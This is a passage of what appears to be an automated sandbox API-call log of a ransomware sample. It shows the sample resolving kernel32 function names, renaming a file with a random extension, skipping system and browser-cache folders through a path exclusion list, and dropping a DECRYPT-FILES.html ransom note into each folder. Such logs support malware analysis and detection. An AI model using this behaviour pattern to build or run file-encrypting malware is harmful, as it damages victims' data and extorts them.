lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0133.556] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0133.556] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0133.556] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0133.556] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0133.556] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0133.556] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0133.556] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0133.556] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0133.557] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0133.557] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0133.557] lstrlenA (lpString="COPYCONTEXT") returned 11 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0133.557] lstrlenA (lpString="COPYFILE2") returned 9 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0133.557] lstrlenA (lpString="COPYFILEA") returned 9 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0133.557] lstrlenA (lpString="COPYFILEEXA") returned 11 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0133.557] lstrlenA (lpString="COPYFILEEXW") returned 11 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0133.557] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0133.557] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0133.557] lstrlenA (lpString="COPYFILEW") returned 9 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0133.557] lstrlenA (lpString="COPYLZFILE") returned 10 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0133.557] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0133.557] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0133.557] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0133.557] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0133.557] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0133.557] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0133.557] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0133.557] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0133.557] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0133.557] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0133.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0133.558] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0133.558] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0133.558] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0133.558] lstrlenA (lpString="CREATEEVENTA") returned 12 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0133.558] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0133.558] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0133.558] lstrlenA (lpString="CREATEEVENTW") returned 12 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0133.558] lstrlenA (lpString="CREATEFIBER") returned 11 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0133.558] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0133.558] lstrlenA (lpString="CREATEFILE2") returned 11 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0133.558] lstrlenA (lpString="CREATEFILEA") returned 11 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0133.558] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0133.558] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0133.558] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0133.558] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0133.558] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0133.558] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0133.558] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0133.558] lstrlenA (lpString="CREATEFILEW") returned 11 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0133.558] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0133.558] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0133.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0133.558] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0133.559] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0133.559] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0133.559] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0133.559] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0133.559] lstrlenA (lpString="CREATEJOBSET") returned 12 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0133.559] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0133.559] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0133.559] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0133.559] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0133.559] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0133.559] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0133.559] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0133.559] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0133.559] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0133.559] lstrlenA (lpString="CREATEPIPE") returned 10 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0133.559] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0133.559] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0133.559] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0133.559] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0133.559] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0133.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0133.559] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0133.560] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0133.560] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0133.560] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0133.560] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0133.560] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0133.560] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0133.560] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0133.560] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0133.560] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0133.560] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0133.560] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0133.560] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0133.560] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0133.560] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0133.560] lstrlenA (lpString="CREATETHREAD") returned 12 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0133.560] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0133.560] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0133.560] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0133.560] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0133.560] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0133.560] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0133.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0133.561] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0133.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0133.561] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.XkppH") returned 51 [0133.561] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.XkppH" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.xkpph"), dwFlags=0x0) returned 1 [0133.562] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.562] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.562] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.562] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0133.562] FindClose (in: hFindFile=0x3b80f00 | out: hFindFile=0x3b80f00) returned 1 [0133.562] CloseHandle (hObject=0x528) returned 1 [0133.563] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1 [0133.563] lstrcmpW (lpString1="1053", lpString2=".") returned 1 [0133.563] lstrcmpW (lpString1="1053", lpString2="..") returned 1 [0133.563] lstrcatW (in: lpString1="1053", lpString2="\\" | out: lpString1="1053\\") returned="1053\\" [0133.563] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1053\\" | out: lpString1="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0133.563] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1053\\", lpSrch=":\\Windows") returned 0x0 [0133.563] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1053\\", lpSrch="\\Program Files") returned 0x0 [0133.563] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1053\\", lpSrch="\\Games\\") returned 0x0 [0133.563] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1053\\", lpSrch="\\Tor Browser\\") returned 0x0 [0133.563] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1053\\", lpSrch="\\ProgramData\\") returned 0x0 [0133.563] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1053\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0133.563] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1053\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0133.563] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1053\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0133.563] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1053\\", lpSrch="\\All Users") returned 0x0 [0133.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\") returned 27 [0133.563] lstrlenW (lpString="eogwkz.dat") returned 10 [0133.563] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\\\eogwkz.dat") returned 38 [0133.563] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1053\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0133.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\") returned 27 [0133.564] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0133.564] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\\\DECRYPT-FILES.html") returned 46 [0133.564] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1053\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0133.838] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0133.839] CloseHandle (hObject=0x470) returned 1 [0133.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\") returned 27 [0133.839] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1053\\*") returned="C:\\588bce7c90097ed212\\1053\\*" [0133.839] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x56067ada, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81300 [0133.839] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0133.839] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x56067ada, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0133.840] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0133.840] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0133.840] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55db9008, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x55db9008, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x56067ada, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0133.840] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0133.840] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: 